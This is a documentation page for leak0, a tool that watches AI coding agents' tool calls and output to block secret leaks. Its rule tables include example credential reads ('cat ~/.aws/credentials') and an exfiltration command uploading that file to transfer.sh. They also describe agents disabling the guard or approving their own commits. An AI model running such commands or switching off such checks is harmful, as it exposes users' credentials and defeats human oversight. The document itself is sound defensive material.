Talk this topic through with an AI

You get an answer from the documentation and the page it comes from.

leak0 · Agentic DLP

Agentic DLP: protect secrets in AI agents

leak0 checks the input, tool calls and tool output of your AI agents through their hooks, on the device. It blocks only with proof.

~5 min read · leak0 · Agentic DLP

What is checked

PathExample
Commit and uploadgit add, git push, npm publish
Network and toolscurl, scp, web fetches, MCP calls
Secret to the modelcat ~/.aws/credentials, env, a token in your input
Secret in the wrong filesA token hard-coded in source, a CI file, a README or a memory file

When leak0 blocks

A block needs one of five proofs. Without proof, leak0 asks, replaces the value with a placeholder or gives the agent a note.

ProofConditionExample
B1 Credential fileThe call touches a known credential file whose content confirms the type.~/.aws/credentials, a private SSH key
B2 Checksummed tokenA token with a known prefix and a valid checksum.ghp_…, npm_…, glpat-…
B3 Known valueA secret seen in this session appears verbatim in an outgoing call.The AWS key in the body of a curl call
B4 Foreign targetThe secret goes to a target that provably is not yours, such as a paste or tunnel service or a public IP.curl -F f=@~/.aws/credentials https://transfer.sh
B5 Turning it offThe agent turns leak0 off or changes the PoisonZero hooks.poison0 leak0 off, run by the agent

The message to the agent names the proof, the rule class (such as leak0:checksum_token_commit) and a short hash, never the value. A paired phone gets a notification for every block, without value, path or command.

When leak0 asks

When a secret is likely but not proven, the agent stops before the call and asks you, for example for:

  • a new .env or key file with real values in git add, git commit or git push,
  • a credential file on its way to your own servers, such as with scp,
  • a checksummed token in a test or docs folder.

Placeholders such as those in .env.example run without a question.

Placeholders in tool output

When a secret appears in tool output, such as from cat .env, leak0 replaces only the value before the model sees it: OPENAI_API_KEY=[leak0:openai:a1b2]. If the value cannot be isolated or the output is too large to check in time, leak0 withholds the whole output.

The agent's transcripts and telemetry can still hold the value in plain text.

Input

leak0 checks your own input, such as a pasted token, before it goes to the model.

Coverage per agent

AgentBlockQuestionPlaceholderInput
Claude CodeYesAgent dialogYesYes
Codex (CLI and IDE)YesNote 1YesYes
CursorYesAgent dialog 2MCP only 3Yes 4
Gemini CLIYesNote 1YesYes
Antigravity CLIYesAgent dialogNo 5No 5
  1. No dialog from the hook: the call runs and the agent gets a note. For a secret file in Git, the PoisonZero dialog asks.
  2. For shell and MCP calls.
  3. For shell and file output the agent gets a note (audit: leak0_warned).
  4. Not in the print mode of the Cursor CLI (-p).
  5. The agent offers only a hook before the tool call.

All supported agents with operating systems: Supported agents. On the device, poison0 leak0 status shows each agent as protected, partly protected or not protected.

Approvals

You approve a secret file in Git like this, depending on agent and environment:

PathHow it works
Agent dialogClaude Code, Cursor and Antigravity CLI ask in their own confirmation dialog.
PoisonZero dialogCodex and Gemini CLI. Block is preselected; Allow requires your system sign-in (Touch ID, Windows Security or polkit). No answer after 90 seconds: block.
Your own terminalWithout a desktop, for example over SSH: poison0 leak0 allow <file> approves the current content for 10 minutes of commits and one push, confirmed with your password.

An agent cannot give your system sign-in. If it runs poison0 leak0 allow itself, leak0 blocks (B5). When the cloud profile switch Users may approve commits with secret files themselves is off (default: on), leak0 blocks for every agent and allow is refused.

Modes

ModeEffect
On (enforce)Blocks with proof, asks, replaces secrets and gives notes.
Observe (observe)Logs every hit and never intervenes.
Off (off)No check. Applies until someone deliberately turns leak0 on.

Cloud devices follow the console profile, private devices the local setting. leak0 runs independently of exec0.

Turning it on

  • Installer: asks for the mode, On is preselected.
  • Unattended (MDM, scripts): PZ_SETUP_LEAK0=enforce. Without the variable leak0 stays off.
  • Console (cloud devices): Settings → Profiles, leak0 section. Devices take the mode at their next sync.
  • Private device: sudo poison0 leak0 enforce.
bashInstall with leak0 on
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
powershellInstall with leak0 on
$env:PZ_SETUP_LEAK0='enforce'
irm https://poisonzero.com/install.ps1 | iex

An update never turns leak0 on. Codex asks once whether you trust the new hook: confirm it in Codex with /hooks.

Results

Every decision is in the local audit, on cloud devices also in the console audit. Blocks and replaced values count as incidents. The secret value, path and command are never in it. All actions: leak0 reference.